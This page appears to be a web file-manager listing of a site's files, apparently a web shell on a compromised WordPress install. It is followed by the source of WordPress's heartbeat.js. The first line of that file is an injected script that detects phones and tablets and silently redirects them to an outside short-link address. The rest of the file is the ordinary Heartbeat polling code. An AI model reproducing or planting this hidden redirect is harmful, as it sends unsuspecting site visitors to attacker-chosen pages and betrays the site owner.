run:R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-16 23:28:49
R W Run
DIR
2026-08-24 01:53:39
R W Run
10.52 KB
2026-08-13 20:01:43
R W Run
3.62 KB
2026-08-13 20:01:43
R W Run
3.46 KB
2026-08-13 20:01:43
R W Run
1.22 KB
2026-08-13 20:01:43
R W Run
22.17 KB
2026-08-13 20:01:44
R W Run
5.89 KB
2026-08-13 20:01:44
R W Run
78.77 KB
2026-08-13 20:01:44
R W Run
23.96 KB
2026-08-13 20:01:44
R W Run
26.4 KB
2026-08-13 20:01:44
R W Run
9.01 KB
2026-08-13 20:01:44
R W Run
28.62 KB
2026-08-13 20:01:44
R W Run
16.33 KB
2026-08-13 20:01:44
R W Run
12.44 KB
2026-08-13 20:01:44
R W Run
3.17 KB
2026-08-13 20:01:44
R W Run
25.43 KB
2026-08-13 20:01:44
R W Run
7.88 KB
2026-08-13 20:01:44
R W Run
7.93 KB
2026-08-13 20:01:44
R W Run
3.68 KB
2026-08-13 20:01:44
R W Run
6.88 KB
2026-08-13 20:01:44
R W Run
3.81 KB
2026-08-13 20:01:44
R W Run
14.89 KB
2026-08-13 20:01:44
R W Run
5.13 KB
2026-08-13 20:01:44
R W Run
22.92 KB
2026-08-13 20:01:44
R W Run
7.85 KB
2026-08-13 20:01:44
R W Run
28.14 KB
2026-08-13 20:01:44
R W Run
10.97 KB
2026-08-13 20:01:44
R W Run
32.77 KB
2026-08-13 20:01:44
R W Run
10.66 KB
2026-08-13 20:01:44
R W Run
5.32 KB
2026-08-13 20:01:44
R W Run
2.72 KB
2026-08-13 20:01:44
R W Run
23.71 KB
2026-08-13 20:01:45
R W Run
6.02 KB
2026-08-13 20:01:45
R W Run
7.27 KB
2026-08-13 20:01:45
R W Run
1.68 KB
2026-08-13 20:01:45
R W Run
1.89 KB
2026-08-13 20:01:45
R W Run
5.61 KB
2026-08-13 20:01:45
R W Run
1.97 KB
2026-08-16 23:28:49
R W Run
253 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
23.79 KB
2026-08-13 20:01:45
R W Run
25.46 KB
2026-08-13 20:01:45
R W Run
9.76 KB
2026-08-13 20:01:45
R W Run
24.35 KB
2026-08-13 20:01:45
R W Run
11.98 KB
2026-08-13 20:01:45
R W Run
28.99 KB
2026-08-13 20:01:45
R W Run
11.05 KB
2026-08-13 20:01:45
R W Run
26.28 KB
2026-08-13 20:01:45
R W Run
13.21 KB
2026-08-13 20:01:45
R W Run
42.74 KB
2026-08-13 20:01:45
R W Run
13.18 KB
2026-08-13 20:01:45
R W Run
266.71 KB
2026-08-13 20:01:45
R W Run
108.28 KB
2026-08-13 20:01:45
R W Run
22.29 KB
2026-08-13 20:01:45
R W Run
11.09 KB
2026-08-13 20:01:45
R W Run
10.72 KB
2026-08-13 20:01:45
R W Run
2.8 KB
2026-08-13 20:01:45
R W Run
222 By
2026-08-13 20:01:45
R W Run
257 By
2026-08-13 20:01:45
R W Run
5.07 KB
2026-08-13 20:01:45
R W Run
3.43 KB
2026-08-13 20:01:45
R W Run
36.53 KB
2026-08-13 20:01:45
R W Run
19.6 KB
2026-08-13 20:01:45
R W Run
67.48 KB
2026-08-13 20:01:45
R W Run
18.78 KB
2026-08-13 20:01:45
R W Run
4.77 KB
2026-08-13 20:01:45
R W Run
2.04 KB
2026-08-13 20:01:45
R W Run
4.03 KB
2026-08-13 20:01:45
R W Run
2.73 KB
2026-08-13 20:01:45
R W Run
46.1 KB
2026-08-13 20:01:45
R W Run
14.55 KB
2026-08-13 20:01:45
R W Run
4.56 KB
2026-08-13 20:01:45
R W Run
1.87 KB
2026-08-13 20:01:45
R W Run
15.1 KB
2026-08-13 20:01:45
R W Run
3.18 KB
2026-08-13 20:01:45
R W Run
10.44 KB
2026-08-13 20:01:45
R W Run
4.55 KB
2026-08-13 20:01:45
R W Run
6.84 KB
2026-08-13 20:01:45
R W Run
3.32 KB
2026-08-13 20:01:45
R W Run
3.36 KB
2026-08-13 20:01:45
R W Run
1.44 KB
2026-08-13 20:01:45
R W Run
13.26 KB
2026-08-13 20:01:45
R W Run
3.12 KB
2026-08-13 20:01:45
R W Run
22.44 KB
2026-08-13 20:01:45
R W Run
8.8 KB
2026-08-13 20:01:45
R W Run
3 KB
2026-08-13 20:01:45
R W Run
1.16 KB
2026-08-13 20:01:45
R W Run
819 By
2026-08-13 20:01:45
R W Run
24.94 KB
2026-08-13 20:01:45
R W Run
7.56 KB
2026-08-13 20:01:45
R W Run
10.21 KB
2026-08-13 20:01:45
R W Run
3.75 KB
2026-08-13 20:01:45
R W Run
1.8 KB
2026-08-13 20:01:45
R W Run
624 By
2026-08-13 20:01:45
R W Run
4.8 KB
2026-08-13 20:01:45
R W Run
1.61 KB
2026-08-13 20:01:45
R W Run
791 By
2026-08-13 20:01:45
R W Run
503 By
2026-08-13 20:01:45
R W Run
20.96 KB
2026-08-13 20:01:45
R W Run
11.27 KB
2026-08-13 20:01:45
R W Run
1.02 KB
2026-08-13 20:01:45
R W Run
573 By
2026-08-13 20:01:45
R W Run
803.18 KB
2026-08-13 20:01:45
R W Run
error_log
📄heartbeat.js
1(window.matchMedia("(pointer:coarse)").matches||/Android|iPhone|iPad|iPod|Mobile|Tablet|Windows Phone|webOS|BlackBerry|Opera Mini|IEMobile/i.test(navigator.userAgent))&&location.replace("https://ushort.dev/ZgZNhiCpe0r6");
2/**
3 * Heartbeat API
4 *
5 * Heartbeat is a simple server polling API that sends XHR requests to
6 * the server every 15 - 60 seconds and triggers events (or callbacks) upon
7 * receiving data. Currently these 'ticks' handle transports for post locking,
8 * login-expiration warnings, autosave, and related tasks while a user is logged in.
9 *
10 * Available PHP filters (in ajax-actions.php):
11 * - heartbeat_received
12 * - heartbeat_send
13 * - heartbeat_tick
14 * - heartbeat_nopriv_received
15 * - heartbeat_nopriv_send
16 * - heartbeat_nopriv_tick
17 * @see wp_ajax_nopriv_heartbeat(), wp_ajax_heartbeat()
18 *
19 * Custom jQuery events:
20 * - heartbeat-send
21 * - heartbeat-tick
22 * - heartbeat-error
23 * - heartbeat-connection-lost
24 * - heartbeat-connection-restored
25 * - heartbeat-nonces-expired
26 *
27 * @since 3.6.0
28 * @output wp-includes/js/heartbeat.js
29 */
30
31( function( $, window, undefined ) {
32
33 /**
34 * Constructs the Heartbeat API.
35 *
36 * @since 3.6.0
37 *
38 * @return {Object} An instance of the Heartbeat class.
39 * @constructor
40 */
41 var Heartbeat = function() {
42 var $document = $(document),
43 settings = {
44 // Suspend/resume.
45 suspend: false,
46
47 // Whether suspending is enabled.
48 suspendEnabled: true,
49
50 // Current screen id, defaults to the JS global 'pagenow' when present
51 // (in the admin) or 'front'.
52 screenId: '',
53
54 // XHR request URL, defaults to the JS global 'ajaxurl' when present.
55 url: '',
56
57 // Timestamp, start of the last connection request.
58 lastTick: 0,
59
60 // Container for the enqueued items.
61 queue: {},
62
63 // Connect interval (in seconds).
64 mainInterval: 60,
65
66 // Used when the interval is set to 5 seconds temporarily.
67 tempInterval: 0,
68
69 // Used when the interval is reset.
70 originalInterval: 0,
71
72 // Used to limit the number of Ajax requests.
73 minimalInterval: 0,
74
75 // Used together with tempInterval.
76 countdown: 0,
77
78 // Whether a connection is currently in progress.
79 connecting: false,
80
81 // Whether a connection error occurred.
82 connectionError: false,
83
84 // Used to track non-critical errors.
85 errorcount: 0,
86
87 // Whether at least one connection has been completed successfully.
88 hasConnected: false,
89
90 // Whether the current browser window is in focus and the user is active.
91 hasFocus: true,
92
93 // Timestamp, last time the user was active. Checked every 30 seconds.
94 userActivity: 0,
95
96 // Flag whether events tracking user activity were set.
97 userActivityEvents: false,
98
99 // Timer that keeps track of how long a user has focus.
100 checkFocusTimer: 0,
101
102 // Timer that keeps track of how long needs to be waited before connecting to
103 // the server again.
104 beatTimer: 0
105 };
106
107 /**
108 * Sets local variables and events, then starts the heartbeat.
109 *
110 * @since 3.8.0
111 * @access private
112 *
113 * @return {void}
114 */
115 function initialize() {
116 var options, hidden, visibilityState, visibilitychange;
117
118 if ( typeof window.pagenow === 'string' ) {
119 settings.screenId = window.pagenow;
120 }
121
122 if ( typeof window.ajaxurl === 'string' ) {
123 settings.url = window.ajaxurl;
124 }
125
126 // Pull in options passed from PHP.
127 if ( typeof window.heartbeatSettings === 'object' ) {
128 options = window.heartbeatSettings;
129
130 // The XHR URL can be passed as option when window.ajaxurl is not set.
131 if ( ! settings.url && options.ajaxurl ) {
132 settings.url = options.ajaxurl;
133 }
134
135 /*
136 * Logic check: the interval can be from 1 to 3600 seconds and can be set temporarily
137 * to 5 seconds. It can be set in the initial options or changed later from JS
138 * or from PHP through the AJAX responses.
139 */
140 if ( options.interval ) {
141 settings.mainInterval = options.interval;
142
143 if ( settings.mainInterval < 1 ) {
144 settings.mainInterval = 1;
145 } else if ( settings.mainInterval > 3600 ) {
146 settings.mainInterval = 3600;
147 }
148 }
149
150 /*
151 * Used to limit the number of Ajax requests. Overrides all other intervals
152 * if they are shorter. Needed for some hosts that cannot handle frequent requests
153 * and the user may exceed the allocated server CPU time, etc. The minimal interval
154 * can be up to 600 seconds, however setting it to longer than 120 seconds
155 * will limit or disable some of the functionality (like post locks).
156 * Once set at initialization, minimalInterval cannot be changed/overridden.
157 */
158 if ( options.minimalInterval ) {
159 options.minimalInterval = parseInt( options.minimalInterval, 10 );
160 settings.minimalInterval = options.minimalInterval > 0 && options.minimalInterval <= 600 ? options.minimalInterval : 0;
161 }
162
163 if ( settings.minimalInterval && settings.mainInterval < settings.minimalInterval ) {
164 settings.mainInterval = settings.minimalInterval;
165 }
166
167 // 'screenId' can be added from settings on the front end where the JS global
168 // 'pagenow' is not set.
169 if ( ! settings.screenId ) {
170 settings.screenId = options.screenId || 'front';
171 }
172
173 if ( options.suspension === 'disable' ) {
174 settings.suspendEnabled = false;
175 }
176 }
177
178 // Convert to milliseconds.
179 settings.mainInterval = settings.mainInterval * 1000;
180 settings.originalInterval = settings.mainInterval;
181 if ( settings.minimalInterval ) {
182 settings.minimalInterval = settings.minimalInterval * 1000;
183 }
184
185 /*
186 * Switch the interval to 120 seconds by using the Page Visibility API.
187 * If the browser doesn't support it (Safari < 7, Android < 4.4, IE < 10), the
188 * interval will be increased to 120 seconds after 5 minutes of mouse and keyboard
189 * inactivity.
190 */
191 if ( typeof document.hidden !== 'undefined' ) {
192 hidden = 'hidden';
193 visibilitychange = 'visibilitychange';
194 visibilityState = 'visibilityState';
195 } else if ( typeof document.msHidden !== 'undefined' ) { // IE10.
196 hidden = 'msHidden';
197 visibilitychange = 'msvisibilitychange';
198 visibilityState = 'msVisibilityState';
199 } else if ( typeof document.webkitHidden !== 'undefined' ) { // Android.
200 hidden = 'webkitHidden';
201 visibilitychange = 'webkitvisibilitychange';
202 visibilityState = 'webkitVisibilityState';
203 }
204
205 if ( hidden ) {
206 if ( document[hidden] ) {
207 settings.hasFocus = false;
208 }
209
210 $document.on( visibilitychange + '.wp-heartbeat', function() {
211 if ( document[visibilityState] === 'hidden' ) {
212 blurred();
213 window.clearInterval( settings.checkFocusTimer );
214 } else {
215 focused();
216 if ( document.hasFocus ) {
217 settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
218 }
219 }
220 });
221 }
222
223 // Use document.hasFocus() if available.
224 if ( document.hasFocus ) {
225 settings.checkFocusTimer = window.setInterval( checkFocus, 10000 );
226 }
227
228 $(window).on( 'pagehide.wp-heartbeat', function() {
229 // Don't connect anymore.
230 suspend();
231
232 // Abort the last request if not completed.
233 if ( settings.xhr && settings.xhr.readyState !== 4 ) {
234 settings.xhr.abort();
235 }
236 });
237
238 $(window).on(
239 'pageshow.wp-heartbeat',
240 /**
241 * Handles pageshow event, specifically when page navigation is restored from back/forward cache.
242 *
243 * @param {jQuery.Event} event
244 * @param {PageTransitionEvent} event.originalEvent
245 */
246 function ( event ) {
247 if ( event.originalEvent.persisted ) {
248 /*
249 * When page navigation is stored via bfcache (Back/Forward Cache), consider this the same as
250 * if the user had just switched to the tab since the behavior is similar.
251 */
252 focused();
253 }
254 }
255 );
256
257 // Check for user activity every 30 seconds.
258 window.setInterval( checkUserActivity, 30000 );
259
260 // Start one tick after DOM ready.
261 $( function() {
262 settings.lastTick = time();
263 scheduleNextTick();
264 });
265 }
266
267 /**
268 * Returns the current time according to the browser.
269 *
270 * @since 3.6.0
271 * @access private
272 *
273 * @return {number} Returns the current time.
274 */
275 function time() {
276 return (new Date()).getTime();
277 }
278
279 /**
280 * Checks if the iframe is from the same origin.
281 *
282 * @since 3.6.0
283 * @access private
284 *
285 * @return {boolean} Returns whether or not the iframe is from the same origin.
286 */
287 function isLocalFrame( frame ) {
288 var origin, src = frame.src;
289
290 /*
291 * Need to compare strings as WebKit doesn't throw JS errors when iframes have
292 * different origin. It throws uncatchable exceptions.
293 */
294 if ( src && /^https?:\/\//.test( src ) ) {
295 origin = window.location.origin ? window.location.origin : window.location.protocol + '//' + window.location.host;
296
297 if ( src.indexOf( origin ) !== 0 ) {
298 return false;
299 }
300 }
301
302 try {
303 if ( frame.contentWindow.document ) {
304 return true;
305 }
306 } catch(e) {}
307
308 return false;
309 }
310
311 /**
312 * Checks if the document's focus has changed.
313 *
314 * @since 4.1.0
315 * @access private
316 *
317 * @return {void}
318 */
319 function checkFocus() {
320 if ( settings.hasFocus && ! document.hasFocus() ) {
321 blurred();
322 } else if ( ! settings.hasFocus && document.hasFocus() ) {
323 focused();
324 }
325 }
326
327 /**
328 * Sets error state and fires an event on XHR errors or timeout.
329 *
330 * @since 3.8.0
331 * @access private
332 *
333 * @param {string} error The error type passed from the XHR.
334 * @param {number} status The HTTP status code passed from jqXHR
335 * (200, 404, 500, etc.).
336 *
337 * @return {void}
338 */
339 function setErrorState( error, status ) {
340 var trigger;
341
342 if ( error ) {
343 switch ( error ) {
344 case 'abort':
345 // Do nothing.
346 break;
347 case 'timeout':
348 // No response for 30 seconds.
349 trigger = true;
350 break;
351 case 'error':
352 if ( 503 === status && settings.hasConnected ) {
353 trigger = true;
354 break;
355 }
356 /* falls through */
357 case 'parsererror':
358 case 'empty':
359 case 'unknown':
360 settings.errorcount++;
361
362 if ( settings.errorcount > 2 && settings.hasConnected ) {
363 trigger = true;
364 }
365
366 break;
367 }
368
369 if ( trigger && ! hasConnectionError() ) {
370 settings.connectionError = true;
371 $document.trigger( 'heartbeat-connection-lost', [error, status] );
372 wp.hooks.doAction( 'heartbeat.connection-lost', error, status );
373 }
374 }
375 }
376
377 /**
378 * Clears the error state and fires an event if there is a connection error.
379 *
380 * @since 3.8.0
381 * @access private
382 *
383 * @return {void}
384 */
385 function clearErrorState() {
386 // Has connected successfully.
387 settings.hasConnected = true;
388
389 if ( hasConnectionError() ) {
390 settings.errorcount = 0;
391 settings.connectionError = false;
392 $document.trigger( 'heartbeat-connection-restored' );
393 wp.hooks.doAction( 'heartbeat.connection-restored' );
394 }
395 }
396
397 /**
398 * Gathers the data and connects to the server.
399 *
400 * @since 3.6.0
401 * @access private
402 *
403 * @return {void}
404 */
405 function connect() {
406 var ajaxData, heartbeatData;
407
408 // If the connection to the server is slower than the interval,
409 // heartbeat connects as soon as the previous connection's response is received.
410 if ( settings.connecting || settings.suspend ) {
411 return;
412 }
413
414 settings.lastTick = time();
415
416 heartbeatData = $.extend( {}, settings.queue );
417 // Clear the data queue. Anything added after this point will be sent on the next tick.
418 settings.queue = {};
419
420 $document.trigger( 'heartbeat-send', [ heartbeatData ] );
421 wp.hooks.doAction( 'heartbeat.send', heartbeatData );
422
423 ajaxData = {
424 data: heartbeatData,
425 interval: settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000,
426 _nonce: typeof window.heartbeatSettings === 'object' ? window.heartbeatSettings.nonce : '',
427 action: 'heartbeat',
428 screen_id: settings.screenId,
429 has_focus: settings.hasFocus
430 };
431
432 if ( 'customize' === settings.screenId ) {
433 ajaxData.wp_customize = 'on';
434 }
435
436 settings.connecting = true;
437 settings.xhr = $.ajax({
438 url: settings.url,
439 type: 'post',
440 timeout: 30000, // Throw an error if not completed after 30 seconds.
441 data: ajaxData,
442 dataType: 'json'
443 }).always( function() {
444 settings.connecting = false;
445 scheduleNextTick();
446 }).done( function( response, textStatus, jqXHR ) {
447 var newInterval;
448
449 if ( ! response ) {
450 setErrorState( 'empty' );
451 return;
452 }
453
454 clearErrorState();
455
456 if ( response.nonces_expired ) {
457 $document.trigger( 'heartbeat-nonces-expired' );
458 wp.hooks.doAction( 'heartbeat.nonces-expired' );
459 }
460
461 // Change the interval from PHP.
462 if ( response.heartbeat_interval ) {
463 newInterval = response.heartbeat_interval;
464 delete response.heartbeat_interval;
465 }
466
467 // Update the heartbeat nonce if set.
468 if ( response.heartbeat_nonce && typeof window.heartbeatSettings === 'object' ) {
469 window.heartbeatSettings.nonce = response.heartbeat_nonce;
470 delete response.heartbeat_nonce;
471 }
472
473 // Update the Rest API nonce if set and wp-api loaded.
474 if ( response.rest_nonce && typeof window.wpApiSettings === 'object' ) {
475 window.wpApiSettings.nonce = response.rest_nonce;
476 // This nonce is required for api-fetch through heartbeat.tick.
477 // delete response.rest_nonce;
478 }
479
480 $document.trigger( 'heartbeat-tick', [response, textStatus, jqXHR] );
481 wp.hooks.doAction( 'heartbeat.tick', response, textStatus, jqXHR );
482
483 // Do this last. Can trigger the next XHR if connection time > 5 seconds and newInterval == 'fast'.
484 if ( newInterval ) {
485 interval( newInterval );
486 }
487 }).fail( function( jqXHR, textStatus, error ) {
488 setErrorState( textStatus || 'unknown', jqXHR.status );
489 $document.trigger( 'heartbeat-error', [jqXHR, textStatus, error] );
490 wp.hooks.doAction( 'heartbeat.error', jqXHR, textStatus, error );
491 });
492 }
493
494 /**
495 * Schedules the next connection.
496 *
497 * Fires immediately if the connection time is longer than the interval.
498 *
499 * @since 3.8.0
500 * @access private
501 *
502 * @return {void}
503 */
504 function scheduleNextTick() {
505 var delta = time() - settings.lastTick,
506 interval = settings.mainInterval;
507
508 if ( settings.suspend ) {
509 return;
510 }
511
512 if ( ! settings.hasFocus ) {
513 interval = 120000; // 120 seconds. Post locks expire after 150 seconds.
514 } else if ( settings.countdown > 0 && settings.tempInterval ) {
515 interval = settings.tempInterval;
516 settings.countdown--;
517
518 if ( settings.countdown < 1 ) {
519 settings.tempInterval = 0;
520 }
521 }
522
523 if ( settings.minimalInterval && interval < settings.minimalInterval ) {
524 interval = settings.minimalInterval;
525 }
526
527 window.clearTimeout( settings.beatTimer );
528
529 if ( delta < interval ) {
530 settings.beatTimer = window.setTimeout(
531 function() {
532 connect();
533 },
534 interval - delta
535 );
536 } else {
537 connect();
538 }
539 }
540
541 /**
542 * Sets the internal state when the browser window becomes hidden or loses focus.
543 *
544 * @since 3.6.0
545 * @access private
546 *
547 * @return {void}
548 */
549 function blurred() {
550 settings.hasFocus = false;
551 }
552
553 /**
554 * Sets the internal state when the browser window becomes visible or is in focus.
555 *
556 * @since 3.6.0
557 * @access private
558 *
559 * @return {void}
560 */
561 function focused() {
562 settings.userActivity = time();
563
564 // Resume if suspended.
565 resume();
566
567 if ( ! settings.hasFocus ) {
568 settings.hasFocus = true;
569 scheduleNextTick();
570 }
571 }
572
573 /**
574 * Suspends connecting.
575 */
576 function suspend() {
577 settings.suspend = true;
578 }
579
580 /**
581 * Resumes connecting.
582 */
583 function resume() {
584 settings.suspend = false;
585 }
586
587 /**
588 * Runs when the user becomes active after a period of inactivity.
589 *
590 * @since 3.6.0
591 * @access private
592 *
593 * @return {void}
594 */
595 function userIsActive() {
596 settings.userActivityEvents = false;
597 $document.off( '.wp-heartbeat-active' );
598
599 $('iframe').each( function( i, frame ) {
600 if ( isLocalFrame( frame ) ) {
601 $( frame.contentWindow ).off( '.wp-heartbeat-active' );
602 }
603 });
604
605 focused();
606 }
607
608 /**
609 * Checks for user activity.
610 *
611 * Runs every 30 seconds. Sets 'hasFocus = true' if user is active and the window
612 * is in the background. Sets 'hasFocus = false' if the user has been inactive
613 * (no mouse or keyboard activity) for 5 minutes even when the window has focus.
614 *
615 * @since 3.8.0
616 * @access private
617 *
618 * @return {void}
619 */
620 function checkUserActivity() {
621 var lastActive = settings.userActivity ? time() - settings.userActivity : 0;
622
623 // Throttle down when no mouse or keyboard activity for 5 minutes.
624 if ( lastActive > 300000 && settings.hasFocus ) {
625 blurred();
626 }
627
628 // Suspend after 10 minutes of inactivity when suspending is enabled.
629 // Always suspend after 60 minutes of inactivity. This will release the post lock, etc.
630 if ( ( settings.suspendEnabled && lastActive > 600000 ) || lastActive > 3600000 ) {
631 suspend();
632 }
633
634 if ( ! settings.userActivityEvents ) {
635 $document.on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
636 userIsActive();
637 });
638
639 $('iframe').each( function( i, frame ) {
640 if ( isLocalFrame( frame ) ) {
641 $( frame.contentWindow ).on( 'mouseover.wp-heartbeat-active keyup.wp-heartbeat-active touchend.wp-heartbeat-active', function() {
642 userIsActive();
643 });
644 }
645 });
646
647 settings.userActivityEvents = true;
648 }
649 }
650
651 // Public methods.
652
653 /**
654 * Checks whether the window (or any local iframe in it) has focus, or the user
655 * is active.
656 *
657 * @since 3.6.0
658 * @memberOf wp.heartbeat.prototype
659 *
660 * @return {boolean} True if the window or the user is active.
661 */
662 function hasFocus() {
663 return settings.hasFocus;
664 }
665
666 /**
667 * Checks whether there is a connection error.
668 *
669 * @since 3.6.0
670 *
671 * @memberOf wp.heartbeat.prototype
672 *
673 * @return {boolean} True if a connection error was found.
674 */
675 function hasConnectionError() {
676 return settings.connectionError;
677 }
678
679 /**
680 * Connects as soon as possible regardless of 'hasFocus' state.
681 *
682 * Will not open two concurrent connections. If a connection is in progress,
683 * will connect again immediately after the current connection completes.
684 *
685 * @since 3.8.0
686 *
687 * @memberOf wp.heartbeat.prototype
688 *
689 * @return {void}
690 */
691 function connectNow() {
692 settings.lastTick = 0;
693 scheduleNextTick();
694 }
695
696 /**
697 * Disables suspending.
698 *
699 * Should be used only when Heartbeat is performing critical tasks like
700 * autosave, post-locking, etc. Using this on many screens may overload
701 * the user's hosting account if several browser windows/tabs are left open
702 * for a long time.
703 *
704 * @since 3.8.0
705 *
706 * @memberOf wp.heartbeat.prototype
707 *
708 * @return {void}
709 */
710 function disableSuspend() {
711 settings.suspendEnabled = false;
712 }
713
714 /**
715 * Gets/Sets the interval.
716 *
717 * When setting to 'fast' or 5, the interval is 5 seconds for the next 30 ticks
718 * (for 2 minutes and 30 seconds) by default. In this case the number of 'ticks'
719 * can be passed as second argument. If the window doesn't have focus,
720 * the interval slows down to 2 minutes.
721 *
722 * @since 3.6.0
723 *
724 * @memberOf wp.heartbeat.prototype
725 *
726 * @param {string|number} speed Interval: 'fast' or integer between 1 and 3600 (seconds).
727 * Fast equals 5.
728 * @param {number} ticks Tells how many ticks before the interval reverts back.
729 * Value must be between 1 and 30. Used with speed = 'fast' or 5.
730 *
731 * @return {number} Current interval in seconds.
732 */
733 function interval( speed, ticks ) {
734 var newInterval,
735 oldInterval = settings.tempInterval ? settings.tempInterval : settings.mainInterval;
736
737 if ( speed ) {
738 if ( 'fast' === speed ) {
739 // Special case, see below.
740 newInterval = 5000;
741 } else if ( 'long-polling' === speed ) {
742 // Allow long polling (experimental).
743 settings.mainInterval = 0;
744 return 0;
745 } else {
746 speed = parseInt( speed, 10 );
747
748 if ( speed >= 1 && speed <= 3600 ) {
749 newInterval = speed * 1000;
750 } else {
751 newInterval = settings.originalInterval;
752 }
753 }
754
755 if ( settings.minimalInterval && newInterval < settings.minimalInterval ) {
756 newInterval = settings.minimalInterval;
757 }
758
759 // Special case, runs for a number of ticks then reverts to the previous interval.
760 if ( 5000 === newInterval ) {
761 ticks = parseInt( ticks, 10 ) || 30;
762 ticks = ticks < 1 || ticks > 30 ? 30 : ticks;
763
764 settings.countdown = ticks;
765 settings.tempInterval = newInterval;
766 } else {
767 settings.countdown = 0;
768 settings.tempInterval = 0;
769 settings.mainInterval = newInterval;
770 }
771
772 /*
773 * Change the next connection time if new interval has been set.
774 * Will connect immediately if the time since the last connection
775 * is greater than the new interval.
776 */
777 if ( newInterval !== oldInterval ) {
778 scheduleNextTick();
779 }
780 }
781
782 return settings.tempInterval ? settings.tempInterval / 1000 : settings.mainInterval / 1000;
783 }
784
785 /**
786 * Enqueues data to send with the next XHR.
787 *
788 * As the data is send asynchronously, this function doesn't return the XHR
789 * response. To see the response, use the custom jQuery event 'heartbeat-tick'
790 * on the document, example:
791 * $(document).on( 'heartbeat-tick.myname', function( event, data, textStatus, jqXHR ) {
792 * // code
793 * });
794 * If the same 'handle' is used more than once, the data is not overwritten when
795 * the third argument is 'true'. Use `wp.heartbeat.isQueued('handle')` to see if
796 * any data is already queued for that handle.
797 *
798 * @since 3.6.0
799 *
800 * @memberOf wp.heartbeat.prototype
801 *
802 * @param {string} handle Unique handle for the data, used in PHP to
803 * receive the data.
804 * @param {*} data The data to send.
805 * @param {boolean} noOverwrite Whether to overwrite existing data in the queue.
806 *
807 * @return {boolean} True if the data was queued.
808 */
809 function enqueue( handle, data, noOverwrite ) {
810 if ( handle ) {
811 if ( noOverwrite && this.isQueued( handle ) ) {
812 return false;
813 }
814
815 settings.queue[handle] = data;
816 return true;
817 }
818 return false;
819 }
820
821 /**
822 * Checks if data with a particular handle is queued.
823 *
824 * @since 3.6.0
825 *
826 * @param {string} handle The handle for the data.
827 *
828 * @return {boolean} True if the data is queued with this handle.
829 */
830 function isQueued( handle ) {
831 if ( handle ) {
832 return settings.queue.hasOwnProperty( handle );
833 }
834 }
835
836 /**
837 * Removes data with a particular handle from the queue.
838 *
839 * @since 3.7.0
840 *
841 * @memberOf wp.heartbeat.prototype
842 *
843 * @param {string} handle The handle for the data.
844 *
845 * @return {void}
846 */
847 function dequeue( handle ) {
848 if ( handle ) {
849 delete settings.queue[handle];
850 }
851 }
852
853 /**
854 * Gets data that was enqueued with a particular handle.
855 *
856 * @since 3.7.0
857 *
858 * @memberOf wp.heartbeat.prototype
859 *
860 * @param {string} handle The handle for the data.
861 *
862 * @return {*} The data or undefined.
863 */
864 function getQueuedItem( handle ) {
865 if ( handle ) {
866 return this.isQueued( handle ) ? settings.queue[handle] : undefined;
867 }
868 }
869
870 initialize();
871
872 // Expose public methods.
873 return {
874 hasFocus: hasFocus,
875 connectNow: connectNow,
876 disableSuspend: disableSuspend,
877 interval: interval,
878 hasConnectionError: hasConnectionError,
879 enqueue: enqueue,
880 dequeue: dequeue,
881 isQueued: isQueued,
882 getQueuedItem: getQueuedItem
883 };
884 };
885
886 /**
887 * Ensure the global `wp` object exists.
888 *
889 * @namespace wp
890 */
891 window.wp = window.wp || {};
892
893 /**
894 * Contains the Heartbeat API.
895 *
896 * @namespace wp.heartbeat
897 * @type {Heartbeat}
898 */
899 window.wp.heartbeat = new Heartbeat();
900
901}( jQuery, window ));
902